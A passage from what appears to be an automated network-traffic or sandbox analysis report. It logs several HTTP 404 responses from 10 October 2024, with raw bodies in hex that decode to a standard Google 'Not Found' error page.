79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Thu, 10 Oct 2024 08:13:09 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Thu, 10 Oct 2024 08:13:16 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Thu, 10 Oct 2024 08:13:18 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Thu, 10 Oct 2024 08:13:20 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Thu, 10 Oct 2024 08:13:26 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Thu, 10 Oct 2024 08:13:28 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
